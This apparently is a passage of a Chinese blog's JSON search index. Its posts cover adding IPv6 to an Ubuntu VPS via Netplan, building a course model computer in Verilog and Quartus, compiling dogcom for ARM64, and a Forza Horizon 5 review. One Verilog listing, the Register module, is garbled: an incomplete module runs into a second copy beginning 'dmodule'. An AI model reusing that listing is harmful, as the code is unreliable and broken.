搭建自己的邮箱"},{"content":"本文以BuyVM装有Ubuntu 20.04.3的VPS为例，希望能够避免更多人踩坑甚至遭遇服务器失联。\n尤其对于并不是BuyVM的VPS用户来说，情况不一定相同，建议同时参照下面加粗的参考文献研究。\n分配IPv6地址 BuyVM的VPS本身不带IPv6，仅有一个IPv4。\n要分配一个IPv6地址，在Stallion管理界面 - Virtual Services-Networking-IPv6内点击Assign IPv6 Address。\n你可以随机选择一个，也可以在范围内指定一个IP地址。点击Add IPv6 Address，就可以了。\n暂时不要关闭Stallion，等待下一步操作。\n编辑Netplan设置 网络上搜到的教程大多是旧版Ubuntu所使用的方法，而Ubuntu 20.04.3已经开始使用Netplan。\n使用SSH连接到服务器。如果你担心因操作不当而失联，可以直接使用VNC连接，方法见下章。\nNetplan的默认配置文件处于 / etc/netplan中，里面应该有一个YAML文件，即其配置文件。\n使用你喜欢的代码编辑器（Vim，Nano，whatever）打开此文件，你将看到如下形式的配置文件。有些许差异可以忽略。\nyaml 复制代码 network: version: 2 ethernets: eth0: dhcp4: true 1 2 3 4 5 network: version: 2 ethernets: eth0: dhcp4: true 将其改成如下内容，其中核心内容将在下面说明。\nyaml 复制代码 network: version: 2 ethernets: eth0: dhcp4: true dhcp6: true gateway4: x.x.x.x # IPv4 网关 gateway6: xx::1 # IPv6 网关 addresses: [x.x.x.x/24,\u0026#39;x:x::/Bitmask\u0026#39;] # 分别为 IPv4 地址、IPv6 地址、IPv6 Bitmask 1 2 3 4 5 6 7 8 9 network: version: 2 ethernets: eth0: dhcp4: true dhcp6: true gateway4: x.x.x.x # IPv4 网关 gateway6: xx::1 # IPv6 网关 addresses: [x.x.x.x/24,\u0026#39;x:x::/Bitmask\u0026#39;] # 分别为 IPv4 地址、IPv6 地址、IPv6 Bitmask 从Stallion刚刚的页面中点击IPv4选项卡，然后在下方的IPv4 addresses中的Normal项找到设置图标。点击它，再点击Network Settings。\n这个IP Address就是你的IPv4地址，Gateway就是IPv4网关，分别将其替换入上面的修改内容。如果你的Netmask也是255.255.255.0，那么 / 24就不需要变动，它们的意义相同，只是一个Netmask和Bitmask的相互转换，前者是IPv4惯用表述，后者则是IPv6的表述。Netplan统一用后者。\n另外，对于某几个地点的Gateway，Frantech 官网 也有说明。\n同理，进入刚刚你分配的IPv6地址设置中，替换IP Address和Gateway为对应的值。Bitmask的值则替换为网页上Netmask/Bitmask的值，一般为48。\n保存配置文件，使用命令 sudo netplan try 可以自动检查配置文件，如果看起来没有问题的话就可以按回车继续了。然后使用 sudo netplan apply 来应用更改。\n检查网络连接 一小段时间之后，使用 networkctl status eth0 命令查看eth0端口情况。除了查看Address信息有没有错误之外，最重要的是State。如果是绿色的routable(configured)，那么一切正常。否则，degraded表示可能没有连接公网，而若下方log中提示No Route to Host则可能代表Gateway设置错误。\n这之后，可以使用 ping6 google.com 测试一下IPv6下的网络连接。也可以用其他设备Ping你刚刚分配的IPv6地址。如果都不会提示Network Unreachable，那么就万事大吉了。\n如果你的服务器已经因此失联 你永远可以相信VNC。在Stallion右上方的Console内点击Direct VNC Connection，然后在你的VNC客户端（官方推荐的TightVNC就不错）Viewer上输入网页中弹出的用户名和密码，就可以连接到服务器了。\n参考文献 https://hostloc.com/thread-745390-1-1.html\nhttps://oldtang.com/2314.html\nhttps://developer.aliyun.com/article/744737\nhttps://askubuntu.com/questions/328265/trying-to-enable-ipv6-results-in-a-no-route-to-host-error\nhttps://zhuanlan.zhihu.com/p/46544606\n","date":"January 19, 2022","matchCount":0,"permalink":"/post/add-ipv6-on-ubuntu-22.04/","preview":"","title":"记为 Ubuntu 20.04 增加 IPv6 地址"},{"content":"内容还未完成，等待更新，其中包含高度不稳定的内容，仅供参考。\n文章更新较慢，可以先在GitHub浏览工程文件。\n所有代码现已开放至GitHub：https://github.com/cyp0633/ModelComputer。建议在Releases代码里下载ZIP格式的源代码，更稳定。\n同时提供一些资源文件，可以从https://drive.cyp0633.icu/s/eVc6获取，包含验证用的内存初始化MIF文件、实验报告和成品模型机图（PDF格式）。\n本文大概遵循老师教学视频中使用的方法，即每次搭建几个元器件，并对其做验证。\n关于之前部件的内容，请翻到本文底部，浏览“数电模型机”Tag下的其他文章。\n模型机整体图如下图所示，后面的过程可能会用到控制信号和数据通路间的关系。\n指令计数器、多路复用器、RAM、指令寄存器 指令计数器 PC，存储当前指令在RAM中存放的地址。 多路复用器 MUX，选择从PC、S和D的数据之一传入RAM。 随机存储器 RAM，存放待执行的命令。 指令寄存器 IR，用于暂存当前正在执行的指令。 这几部分较简单，建议跟随教学视频完成。\n在调试RAM的过程中，如果遇到不能在LPM_FILE中输入\u0026quot;./xxx.mif\u0026quot;从而无法读取初始化内容的情况，可以用文本编辑器（VS Code等，实在没有的话记事本也行）打开项目BDF文件，查找定位现在LPM_FILE对应值的位置，将文件路径部分替换成下面这样：\nverilog 复制代码 (parameter \u0026#34;LPM_FILE\u0026#34; \u0026#34;\\\u0026#34;./example.mif\\\u0026#34;\u0026#34; \u0026#34;File containing initial contents of memory array\u0026#34; (type \u0026#34;PARAMETER_STRING\u0026#34;)) 1 2 3 4 5 (parameter \u0026#34;LPM_FILE\u0026#34; \u0026#34;\\\u0026#34;./example.mif\\\u0026#34;\u0026#34; \u0026#34;File containing initial contents of memory array\u0026#34; (type \u0026#34;PARAMETER_STRING\u0026#34;)) 如果编辑mif时提示数字过大，那多半是默认十进制，要修改为二进制，可以用文本编辑器打开mif文件，将DATA_RADIX改成BIN。\n如果在Quartus 9编译后的Timing Summary中出现\u0026quot;Slack: Not Operational\u0026quot;，则代表有锁存器，回去改模块的代码吧。我的代码中也有此提示，但这是故意而为之，是启停控制模块的必然结果，绕过后则不会有此提示。\n通用寄存器组、ALU 通用寄存器组，下降沿响应，用来保存操作数和运算结果等信息。 算术逻辑单元ALU，组合部件，用于执行加、减、与、非运算，或提供数据的通路。 搭建电路的方法，视频里已给出，所以这里主要介绍验证的方法。\n这里我们只需要仿真验证通用寄存器组和ALU两个模块，所以添加引脚的时候只需要添加这两个模块有关的引脚，即CLK、M、SEL、RA、RWBA、WE、C、DREG、SREG、Z。\nDREG和SREG输出主要用于截取寄存器输出到ALU输入间传送的数据，方便debug。\n此外，寄存器内的数值默认一开始都是0（Undefined），除了一点一点用ALU指令自加得到想要的数值之外，也可以在Verilog内直接给寄存器赋初值（默认为8\u0026rsquo;b0），如：\nverilog 复制代码 reg [7:0] a=8\u0026#39;b00110110; reg [7:0] b=8\u0026#39;b10001011; reg [7:0] c=8\u0026#39;b11001110; 1 2 3 reg [7:0] a=8\u0026#39;b00110110; reg [7:0] b=8\u0026#39;b10001011; reg [7:0] c=8\u0026#39;b11001110; 根据ALU引脚关系来确定输入的ｍ和sel值。以下的顺序并没有严格指定，但请使你的测试覆盖各种情况，以免组装完成后出现意想不到的错误，下同。\n第一个上升沿，我们先执行加法。clk设为初始值1、5ns增1的波形，m=1允许运算，sel=1001代表ADD，ra和rwba输入加的寄存器地址，we=0允许数据输入。\n这样，你就可以在c、z和上升沿后的dreg中看到运算结果。\n然后第二个上升沿，我们执行减法。和前面差不多，只是sel=0110。减法时ALU运算的是t=b-a，对应的是dreg-sreg，也就是rwba指向的值减raa指向的值，对应关系下同。\n按位与和取反也差不太多，这么搞就行了。\n仿真波形如下图所示（不要在意最下面那三个REG，有点问题）。\n波形看起来很奇怪？请不要忘了，ALU是组合部件，运算很快完成；寄存器是时序部件，更新需要等下降沿。\n移位逻辑 移位逻辑，组合部件，用于将输入的数据循环向左向右移，将溢出的位另输出至Cf。 在上面的结构图中，移位逻辑是放在ALU后面的。当然首先要把移位逻辑模块放到图上了。\n因为左移右移进行的时候，肯定是t=b的，ALU不需要输出Cf，所以我们可以直接用一个或门将两路数据连接起来。\n也可以在t和a之间接一个输出，方便观察。\n反正针脚又没怎么变，所以可以沿用寄存器和ALU的波形文件，只需加入fbus/flbus/frbus输入就行了。\n在波形文件中，sel表示ALU执行计算的时候（1001/0110/1011/0101），fbus=1，flbus和frbus=0，代表移位逻辑作为数据通路，直接将输入的数据输出。\nsel=1010时，代表RSR或RSL，ALU作为数据通路，让移位逻辑负责移动数据，得留两个下降沿的时间，一个给左移一个给右移。\n仿真波形如下图。\n40-60ns处，就是左移一下右移一下，恢复原来的样子。进位完全正常。\n控制信号产生逻辑、SM、指令译码器、状态寄存器 控制信号产生逻辑，组合部件，接收指令译码器输出，产生每个模块所需要的控制信号。 SM，下降沿敏感，用于区别取指令周期和执行指令周期。 指令译码器，组合部件，将8位指令码映射为对应指令。 状态寄存器，下降沿敏感，存储cf和zf，并在使能为1的时候改变。 之前的RAM电路需要依靠三态门来隔离输入和输出，而现在我们直接将总线接到双向的dio口上，同时负责输入输出。所以总线上的数据要协调好。\n然后就是把剩下的元件一次加进去，搭建的时候可以参考上面的模型机整体结构连接。只连上这几个元件而没有其他功能加入的电路没截图，但带有调试引脚的模型机的结构大概如下图。\n记得将一些信号连接到output引脚，多留一些调试用的输出，这样便于查看各种控制信号的值和过程量，方便debug，比如控制信号、总线数据、通用寄存器输出、多路复用器输出、指令寄存器输出、指令计数器的输出。可以参考上图设置输出引脚。\n整合与调试 MIF文件编写 当你认为上面的部件全都连接完成的时候，只需要时钟信号、输入和一个写得正确的MIF文件就可以让模型机跑起来了。这个MIF文件定义了RAM在开始运行时的内容，但仿真结束或FPGA板断电之后并不会被修改，因为RAM断电即丢数据的特性是by design的，真实的电脑也是这样。\n随着时钟的flip-flop，指令计数器的值改变，它的一个一个值传入RAM的address端，dio端就读出了指令或是地址（JMP/JZ/JC指令）内容。如果是指令，就将其送入指令译码器，然后变成控制信号，进行下一步的操作。因为指令计数器的自增或是装载特性，模型机就可以自动寻找下一个指令执行，而指令需要在MIF文件中初始化。\n一句话来概括，就是以前用控制信号或手动输入指令来控制，属于走一步教一步；现在用MIF文件让它自己读指令，相当于记住了下面的指令内容，给它一个信号它就能自己按路径跑。\nMIF文件从0开始向下编写，除三种跳转指令占两位外，每个指令占一位地址。遇到跳转，则与if语句的逻辑相似。\n输入与输出 正如实验四和上面我们提到的，三态门可以控制通断，从而控制输入输出。只要将输入总线和输出总线与模型机相连，然后分别用三态门（Quartus中搜索TRI）隔开，将输入输出使能控制信号作为条件，外部输入输出部分就完成了。下图中的inputdata另有输入引脚连接，图中未绘出。注意大于一位的都要用总线绘制。三态门的作用是在使能为1时原样通过数据，否则门后为高阻态。\n停机（HALT）和NOP指令 HALT指令通过将SM_EN置0，从而停止取指实现。如果要恢复运行，只需要加一个输入，将SM_EN拉到1即可。所谓的”真正的停机“，可能指的是门控时钟？没有太大必要实现。\nNOP指令需要让模型机保持现在的状态两个时钟周期，然后执行下一条指令。这个时候你什么都不需要做，只需要让WE=1，禁止总线向寄存器输入数据。\n调试 还记得我们创建的一大堆调试引脚吗？它们的作用就是输出过程量，在执行出错的时候找到是哪里的信号出错了，从而针对性改正。有点像打断点添加中间变量检测，不是吗？因为指令常常牵一发而动全身，我们可以找到发现异常的地方，然后逐条往回推，直到找到真正执行错的地方。至于怎么调试，就很依赖对模型机结构的熟悉程度了。\n不过这里有一种情况很难查出来。如果你发现总线上输入/输出的数据并不是你想要的数据，特别是凭空不知道从哪冒出来的数据，多半是总线上输出打架了：同时只有一个部件能够在模型机总线上写入数据，很可能是移位逻辑。\n标准测试指令文档 标准测试指令由老师给出，包含了一些分支，能够检验大部分指令的执行情况，所以如果你能够实现所有指令，建议使用标准指令文档。\n对于电脑仿真的文档，需要预先将修改寄存器代码，将C寄存器的值初始化为1000 0000。除此之外，还需要在第3-4个时钟周期输入1000 0011，才能按照预期的情况运行。\n对于下板的测试文档，需要将输入长期设为1000 0011，毕竟执行很快（3MHz），你无法在输入的一瞬间将按钮拨上去，然后瞬间拨下来。\n下板测试 分配引脚 Assignments - Pin\n时钟使用6MHz的CLK1，将clk分配至Pin 17。\n输入使用开关，比如从高位到低位71、70、69、67、65、64、63、60，代表左边8个开关，正好对应从高位到低位8位输入。\n输出使用LED灯，比如118、115、114、113、112、104、103、101，代表左边8个LED灯。如果你想用数码管，大概思路是将8位输出转BCD码，然后使用一个译码器轮流输出（因为是共阴极数码管）。\n下载 连接板子，打开Programmer，在Hardware Setup中选择设备，然后点击Start即可。如下图。\n如果你做到现在，你就做出了一台足够优秀的模型机。我做出最终的成品图，可以下载开头链接中的文件来浏览。以下模块不会增加基本功能，也不会魔改出流水线四发射双ALU分支预测之类的骚操作，但（可能）可以增强使用体验。\n附加模块设计 这部分建议参考我的设计报告和代码来研究，在文章顶部链接中。\n启停控制 这是一个优先级非常高的启停控制，因为它控制着输入到模型机内的时钟。本是为按钮设计的，没写消抖，就放到开关上了。\n将开始按钮作为输入，将暂停按钮作为重置。在INIT状态下，只要检测到开始按钮\n**副作用：过不了Timing Requirements。**因为将时钟阻断会造成锁存，从而clock hold变为N/A。\n状态显示 用于显示停机原因，HALT或是上个模块造成的Pause。\n向凌老师致敬，没有她的帮助，我可能会晚很长时间才能做出像样的模型机。\n","date":"December 27, 2021","matchCount":0,"permalink":"/post/hnu-model-computer-4/","preview":"","title":"数电课程模型机设计：模型机整合"},{"content":"近日发现小米AC2100性能实在太过弱鸡，不能很好满足搞事情的需求，遂购入FriendlyPi R2S一台作软路由。但苦于校园网宽带需要使用Dr.com客户端，而之前使用的dogcom第三方客户端只能在MIPS架构运行，不能兼容ARM64的软路由处理器，在这个问题解决前无法作为主路由使用，网上也没找到现成的包。但好在该项目是开源的，我们便可以自己编译一个。\n先放一个编译完成的dogcom客户端链接，大小735KB：点这里。如果你只是想找客户端，OK，到这里就可以退出了。\n原项目地址：mchome/dogcom\n显然大部分人的电脑处理器是AMD64架构，直接用AMD64的GCC当然不能正常编译。对于跨架构的编译，网络上很大一部分的解决方案都是使用交叉编译，但这个方法似乎挺麻烦的。转念一想，既然大部分人都有Android手机，而这手机又是ARM64架构的，如果用它编译出Linux的二进制文件，不就简单了？\n显然早就有不少人打了Android手机的算盘，做出了可以在其上运行Linux系统的方案。解决方案大致有Termux和Linux Deploy等几种，这里使用Linux Deploy，因其SSH比较方便，但需要Root——我刚好有。\nmeefik/linuxdeploy\n大致的步骤可以参阅 https://my.oschina.net/zss1993/blog/1790223，但就在我的Android 11系统的小米10 Pro上的情况来说，需要说明一下：\n不需要Busybox，可以直接使用。 文章作者使用的是老版本，如果你使用新版本遇到不同的部分，可以酌情选择或者保持默认。 ARM64的手机当然是无法安装x86或AMD64镜像的，反过来也不行，除非你搞个QEMU，当然这也可以作为一个替代方案。 个人认为没必要设置挂载，在PC上使用WinSCP更舒服。 安装好Ubuntu后，使用电脑SSH连接同局域网中手机IP，即可控制容器中的Linux系统。我选择了Ubuntu 18.04 LTS Bionic Beaver，理论上Debian系也都差不多。\n输入以下命令：\nbash 复制代码 sudo apt install build-essential # 安装必备依赖库和编译器 git clone https://github.com/mchome/dogcom # 下载代码 cd dogcom # 进入文件夹 make static=y # 编译并使用静态库，下面讲 1 2 3 4 sudo apt install build-essential # 安装必备依赖库和编译器 git clone https://github.com/mchome/dogcom # 下载代码 cd dogcom # 进入文件夹 make static=y # 编译并使用静态库，下面讲 使用静态库可以避免使用不同编译器时找不到动态链接库的情况，但文件大小会从80KB增长至700多KB。\n然后使用WinSCP把那个拷贝到R2S的某个目录，再把你的配置文件拷进去，执行就可以了。\n关于如何生成配置文件，可以参考 https://www.right.com.cn/forum/thread-215978-1-1.html。\n效果大概是这样子。\n等有空了再折腾下ipk的搞法。\n参考文献 qemu /lib/ld-linux-aarch64.so.1: No such file or directory_深空深蓝的博客 - CSDN 博客 _ld-linux-aarch64.so.1\nmakefile 强制使用静态链接库 _xiexievv 的专栏 - CSDN 博客 _makefile static\n【Linux Deploy】一、Linux Deploy 安装配置使用教程 - MaxBill 个人空间 - OSCHINA - 中文开源技术交流社区\nThis content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.\n","date":"December 19, 2021","matchCount":0,"permalink":"/post/dogcom-on-arm64-openwrt/","preview":"","title":"为 ARM64 的 OpenWrt 软路由编译 dogcom"},{"content":"以下代码虽经本人检查，但并未经过验收，仅供参考，保留随时更改甚至推倒重来的可能。\n前几个部分使用Verilog实现，还是比较简单的。最重要的是posedge和negedge的使用。代码中部分由GitHub Copilot生成。\nAM使用Block Diagram，借助Quartus自带Megafunction实现。\nSM 看懂表格就能做，非常简单。\n只在时钟下降沿作用，其他时候不作用，所以使用negedge clk来捕获时钟信号下降沿。\nCLKEN功能 下降沿 1SM\u0026lt;=SM取反 下降沿0SM不变 verilog 复制代码 module SM(clk,EN,z); input clk,EN; output z; reg z; always @(negedge clk) begin if(EN) z \u0026lt;= ~z; end endmodule //SM 1 2 3 4 5 6 7 8 9 10 11 module SM(clk,EN,z); input clk,EN; output z; reg z; always @(negedge clk) begin if(EN) z \u0026lt;= ~z; end endmodule //SM IR / 指令寄存器 CLKIR_LD功能 下降沿1d写入ir 应该没什么好讲的吧。\nverilog 复制代码 module IR(clk,ir_ld,d,ir); input clk,ir_ld; input[7:0] d; output[7:0] ir; reg[7:0] ir; always @(negedge clk) begin if(ir_ld) begin ir \u0026lt;= d; end end endmodule 1 2 3 4 5 6 7 8 9 10 11 12 13 module IR(clk,ir_ld,d,ir); input clk,ir_ld; input[7:0] d; output[7:0] ir; reg[7:0] ir; always @(negedge clk) begin if(ir_ld) begin ir \u0026lt;= d; end end endmodule PSW / 状态寄存器 此程序目前存在一个问题：第一个下降沿，若cf_en或zf_en为0，c或z会变成未知值。目前把它们都设置为1，为数据做一个初始化，来规避这个问题。\nCLK控制信号 功能 下降沿 $cf_en=1$cf写入c 下降沿$zf_en=1$zf写入z 这里讲一个之前一直没注意的事情。本程序可以使用两个always块。组合逻辑模块，处理cf和zf的使能；时序逻辑模块，处理下降沿更新。组合逻辑的结果由寄存器负责暂存。当然，也可以使用三个，一个处理cf，一个处理zf，一个侦测时钟信号，但生成的RTL视图实际上是一样的。\n如果将cf_en,zf_en等不带沿的条件和negedge clk写到一个always条件内，Quartus会提示 10122 错误：在一个always块中，双沿的检测（就是普通的always @(n)）和单上升 / 下降沿是不能共存的。可以参考 logic - Single and double-edge expressions (Verilog) - Stack Overflow。\n需要注意，之前所讲的 “输入必须都放在always条件里”，只适用于“在这些输入值改变的时候输出值需要立刻改变” 的时候，即同时侦测信号的上升沿和下降沿，这样输入值一旦改变，就可以及时的改变输出值。但时序电路不需要，如PSW只需要在时钟下降沿的时候根据两个使能信号的值更新输出就行了。所以输入和使能都没有必要放到always里，只需要在if侦测就行了。\n下面是仅使用单cf_en的结果。\nverilog 复制代码 module PSW(clk,cf_en,zf_en,cf,zf,c,z); input clk,cf_en,zf_en,cf,zf; output c,z; reg c,z; reg cTemp,zTemp; always @(negedge clk) begin if(cf_en) begin c\u0026lt;=cf; end if(zf_en) begin z\u0026lt;=zf; end end endmodule //PSW 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 module PSW(clk,cf_en,zf_en,cf,zf,c,z); input clk,cf_en,zf_en,cf,zf; output c,z; reg c,z; reg cTemp,zTemp; always @(negedge clk) begin if(cf_en) begin c\u0026lt;=cf; end if(zf_en) begin z\u0026lt;=zf; end end endmodule //PSW PC / 指令计数器 仍然是看表格就能做。\n这个 “a向入c” 的意思是将a的数据导入c。\nCLKIN PCLD PC功能 下降沿 10$c[7..0]$ 中数据自加1 下降沿01$a[7..0]$ 向入 $c[7..0]$ verilog 复制代码 module PC(ld,inc,clk,a,c); input ld,inc,clk; input[7:0] a; output[7:0] c; reg[7:0] c; always @(negedge clk) begin if (ld) begin c \u0026lt;= a; end else begin if (inc) begin c \u0026lt;= c \u0026#43; 1; end end end endmodule //PC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 module PC(ld,inc,clk,a,c); input ld,inc,clk; input[7:0] a; output[7:0] c; reg[7:0] c; always @(negedge clk) begin if (ld) begin c \u0026lt;= a; end else begin if (inc) begin c \u0026lt;= c + 1; end end end endmodule //PC REG / 通用寄存器组 不只有表里看起来这么简单。\n任何时候都是能够读取的，只有写受下降沿限制。因为写的时候只由RWBA指定寄存器地址，所以RAA并没有什么关系。\n读取只是把当前的值忠实读出来而已，如果有写入那就读出来新的值。\n明明是寄存器，但表中甚至没有描述寄存器部分…… 也不难，定义三个八位的reg变量，就是寄存器的核心部分了，也就是读写的对象。\n操作 CLKWE$RAA[1..0]$$RWBA[1..0]$ 功能 读00或01或1000或01或10根据 $RAA[1..0]$ 的值从A,B,C中选择一个寄存器的值由S口输出 根据 $RWBA[1..0]$ 的值从A,B,C中选择一个寄存器的值由D口输出 写下降沿 0XX00或01或10 控制信号WE为0，根据 $RWBA[1..0]$ 的值, 在时钟下降沿将外部输入写入A,B,C三个寄存器中的某个寄存器。 寄存器是由负责读取的组合逻辑电路和负责写入的时序逻辑电路合并而成的。其读的状态不受写的状态影响，使用阻塞赋值；写则使用非阻塞赋值。\n对于RAA和RWBA的输入，00代表A，01代表B，10代表C，都好理解，但如果输入11，仍然要输出C，而不是输出0或者高阻态之类的。可以直接写A、B、default。\nverilog 复制代码 module Register(WE,clk,RA,WA,i,S,D); input WE,clk; input [1:0] RA,WA; input [7:0] i; output[7:0] S,D; reg [7:0] S,D; reg [7:0] a,b,c; always @(RA) begin case(RA) 2\u0026#39;b00: S=a; 2\u0026#39;b01: S=b; 2\u0026#39;b10: S=c; dmodule Register(WE,clk,RA,WA,i,S,D); input WE,clk; input [1:0] RA,WA; input [7:0] i; output[7:0] S,D; reg [7:0] S,D; reg [7:0] a=8\u0026#39;b00110110; reg [7:0] b=8\u0026#39;b10001011; reg [7:0] c=8\u0026#39;b11001110; always @(RA) begin case(RA) 2\u0026#39;b00: S=a; 2\u0026#39;b01: S=b; default: S=c; endcase end always @(WA) begin case(WA) 2\u0026#39;b00: D=a; 2\u0026#39;b01: D=b; default: D=c; endcase end always @(negedge clk) begin if(WE==0) begin case(WA) 2\u0026#39;b00: a\u0026lt;=i; 2\u0026#39;b01: b\u0026lt;=i; 2\u0026#39;b10: c\u0026lt;=i; endcase end end endmodule //Register 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 module Register(WE,clk,RA,WA,i,S,D); input WE,clk; input [1:0] RA,WA; input [7:0] i; output[7:0] S,D; reg [7:0] S,D; reg [7:0] a,b,c; always @(RA) begin case(RA) 2\u0026#39;b00: S=a; 2\u0026#39;b01: S=b; 2\u0026#39;b10: S=c; dmodule Register(WE,clk,RA,WA,i,S,D); input WE,clk; input [1:0] RA,WA; input [7:0] i; output[7:0] S,D; reg [7:0] S,D; reg [7:0] a=8\u0026#39;b00110110; reg [7:0] b=8\u0026#39;b10001011; reg [7:0] c=8\u0026#39;b11001110; always @(RA) begin case(RA) 2\u0026#39;b00: S=a; 2\u0026#39;b01: S=b; default: S=c; endcase end always @(WA) begin case(WA) 2\u0026#39;b00: D=a; 2\u0026#39;b01: D=b; default: D=c; endcase end always @(negedge clk) begin if(WE==0) begin case(WA) 2\u0026#39;b00: a\u0026lt;=i; 2\u0026#39;b01: b\u0026lt;=i; 2\u0026#39;b10: c\u0026lt;=i; endcase end end endmodule //Register RAM RAM包含一个QPF文件和一个MIF文件。QPF文件用于描述电路，而MIF文件用于定义RAM初始的内容。所谓初始值，就是在你没有向某个地址的内存块输入值的情况下，它默认输出的值。\n新建一个Memory Initialization File，使用默认的256*8即可。里面随便填点东西，可以右键选择Custom Fill Cells搞点花样，比如使用梯度为1的Increment，可以将每个单元格赋给与它地址相等的值。\n再新建一个Block Diagram File，这么画。注意三态门出来的线必须是总线（粗细可辨）。\n实际上它是和指导书上有一定区别的。如果有多余的引脚，无需搭理。\n双击表格可以修改参数，改成一样的就行。LPM_FILE填入刚刚MIF的相对路径，也就是说如果目录相同可以使用 \u0026ldquo;./xxx.mif\u0026rdquo; 表示，一定要带双引号。绝对路径（如D:/test/test.mif或 / root/test/test.mif）也可以。\n本文代码所用波形文件 在这里 可以下载，建议仅用于参考波形。\n","date":"December 15, 2021","matchCount":0,"permalink":"/post/hnu-model-computer-3/","preview":"","title":"数电课程模型机设计：SM \u0026 指令寄存器 \u0026 状态寄存器 \u0026 指令计数器 \u0026 通用寄存器组 \u0026 RAM（Verilog 实现）"},{"content":"如果Playground Games真的在乎玩家的话，就应该在发售的时候，把Bug和服务器洗一洗，晒一晒，拾掇拾掇，而不是做一个半成品糊弄客户。\n有人说是疫情，有人说是密谋，反正不知怎么回事，一进入2021年下半年，数个大的游戏IP纷纷开始摆烂。彼时，地平线系列早已是娱乐向RAC的顶级IP。\n从《战地2042》的脑血栓地图和爬楼泥头船，到《GTA三部曲：决定版》被爆手游硬改端游，前景似乎并不光明，而地平线收获了Metacritic 92/100分Must-play评级和IGN 10/10分，看起来PG（Playground Games，下同）能够幸免于难。\n到现在（本文初稿）为止，首发一个月过去了，相信玩家们都有了自己的答案。在这里，我个人的评价是：寄。Microsoft Store的2.2/5分评价，全都是PG自己种下的恶果。\n* 部分体验因Windows版本、硬件型号、游戏版本和游戏平台而异。\n一脉相承的优秀基础玩法，脑回路清奇的创新尝试 本人只玩过地平线3试玩版，连引导都没过去，但地平线4的各种玩法已经可以说很优秀了，而显然PG认识到了无过便是功，并将前代的许多玩法继承了下来。地平线播放列表、锦标赛、地平线故事，大的框架都保留了下来。有一些小修小改，比如将上一代仅限DLC的拓荒者门玩法加入了正作当中。重复的部分，这里不再赘述。\n但我为什么说创新脑回路清奇呢？这包含两个方面，一部分让人眼前一亮，但又有些让人觉得像是脑子抽了才会想出来。\n地平线故事得到了非常大的加强，沉浸感直接拉满，加入了更多的剧情元素。即使是像下面这个花车的剧情并不那么有意思，这车本身已经很有乐趣了。\n但脑抽的部分也有。比如，Eliminator大逃杀和Forza Arcade（大概相当于4代的Forza Marathon）竟然变成了播放列表里的必选项，让在线内容在播放列表里的占比再次提高。为什么这不好呢？容我后面再说。\n史诗级的音画提升…… 除了植被和贴图 地平线4无论什么车，引擎声都犹如电音，而地平线5终于扭扭捏捏地上了真车录制引擎声，电音车少多了。开上Dodge Challenger，甚至能听到美妙的机增声音，而在以前我只敢在NFS里想象这些东西。\n我曾说过地平线4的车有一种塑料感，5算是差不多解决了这个问题。无论是高光漆和哑光漆，质感都更加真实，几乎可以以假乱真，虽然还有少部分仍需打磨。不信？上张图。\n建模也更加真实，比如底盘不再是一整个平面加一张贴图，终于有了立体细节。\n但令人摸不着头脑的是，植被的画质被大幅削弱了，无论是近处的树木还是远处小丘上的植物，都像纸片一样毫无质感。下面上一组对比，可以重点观察911 Carrera S车上的细节和树叶的细节。上5下4。\nAI：直道开挂才是真的快，弯道谁不会鱼雷啊 是的你没听错，地平线5的AI会鱼雷了（指过弯故意刹车不足，通过将其他正常过弯车辆撞出赛道，或是撞向墙壁来转向）。\n虽然发售后不久，官方承认了AI难度过高的bug（真的是bug吗？）并进行了修复，但5的AI明显比4更有挑战性——也更贱。在较高难度下，除了刚刚提到的弯道鱼雷，直道上更是具备远超同等级车辆的速度。\n虽然难度修复低了，但我从来没想到还能修复回去。拿第3赛季秋季的Jeep Trailcat任务来说，NPC车辆甚至可以在大幅落后的情况下突然提速，让你从第4直接掉到第10。这不是个例，而是许多玩家的反馈。\n此情此景，让我想起了NFS17中，加速到350km/h的Crown Victoria……\nBug守恒定律 这是击溃我信心的第一击。\n丢存档、车卡墙、鼠标指针不消失、任务显示错误、看不出车损…… 我只能说talk is cheap, just play it. 玩过之后，你才知道bug是无处不在。\nBug守恒定律：Bug既不会凭空产生也不会凭空消失，它只会从一个位置转移到另一个位置，或从一种形式转换为另一种形式。\n我本来想大力输出，破口大骂垃圾PG，但千言万语不及一个 官方的 Known Issues 有说服力。截至目前，已知问题总共有200多个……\n更不要说，有的Bug修了，但没完全修，还有的补丁明明很巨大，Bug却越修越多。这个代码质量完全无力吐槽。\n对我说的就是你，某一次更新的15G补丁。更完就疯狂闪退，也不知道这种程序是怎么过QA的。\n脑溢血的联机服务器 这是击溃我信心的第二击。\n这么说吧，从首发那天到现在，我一次都没连上过在线游戏。\n各位先别急着喷我网差啊。我有挂过延迟100左右的梯子，线路虽然不咋样但至少干别的都很完美，连不上（已设置UDP）；用过地平线4偶尔能连上的校园网，5连不上；甚至用过连4稳如老狗从来不掉线的宽带，5还是连不上。\n上个周，PG成功骗我玩完了不需要在线玩的所有播放列表挑战——却没有给我Trueno。\n此时此刻，我想说的都在这张图上。\n涂装原作者：哔哩哔哩 @小鱼-g代码：131 218 824\n先天残疾的Xbox App 这是击溃我信心的第三击。\n我真该买Steam版，真的。\n这代严格来说并不是Microsoft Store版，而是Xbox App版。应用通过Xbox应用进行分发，购买、下载等很多过程都只能在Xbox App完成。\n但是，这不代表它能够跳出MS Store应用的限制；相反，所有蛋疼的限制无一例外地落到了它身上。\nXbox App的交互逻辑也令人匪夷所思。举个例子来说吧，微软或许对自己容器化应用的安全性过于自信，甚至根本没做 “修复安装” 的选项，如果想达到这一目的就必须卸载重装。\n就是这三击，让我对地平线5彻底失去了信心。罢了罢了，永不落幕的嘉年华，也许灵魂已留在了不列颠。\n","date":"December 10, 2021","matchCount":0,"permalink":"/post/forza-horizon-5/","preview":"","title":"极限竞速 地平线 5：仅用三击，信心全无"},{"content":"以下代码虽经本人检查，但仅移位逻辑经过仔细验收，仅供参考。\n多路开关 多路开关做起来还是很简单的，一个case语句就能搞定。记得加default，防止生成锁存器。\nverilog 复制代码 module mux (MADD,A,B,C,OUT); input[1:0] MADD; input[7:0] A,B,C; output[7:0] OUT; reg[7:0] OUT; always @(MADD,A,B,C) begin case (MADD) 2\u0026#39;b00: OUT=A; 2\u0026#39;b01: OUT=B; 